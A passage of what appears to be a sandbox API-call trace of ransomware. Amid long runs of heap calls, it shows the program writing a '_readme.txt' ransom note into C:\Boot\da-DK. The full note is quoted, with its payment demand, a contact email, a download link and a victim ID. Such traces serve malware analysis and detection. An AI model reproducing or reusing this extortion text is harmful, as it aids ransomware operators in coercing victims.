Size=0x20) returned 0x3450390 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.180] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.181] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.182] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.182] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.182] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.182] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.182] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.182] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.182] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.182] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.182] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.182] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.182] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.182] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.182] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.182] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.182] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.182] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0124.182] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.182] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.182] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.182] PathFindFileNameW (pszPath="") returned="" [0124.182] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.182] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.182] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.183] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.183] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.183] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.183] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.183] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0124.183] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.183] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.183] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0124.183] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.183] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.183] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.183] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.183] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.183] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.183] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.183] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.183] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.183] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.183] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.184] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.184] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.184] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.184] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.184] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.184] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.184] RtlAllocateHeap 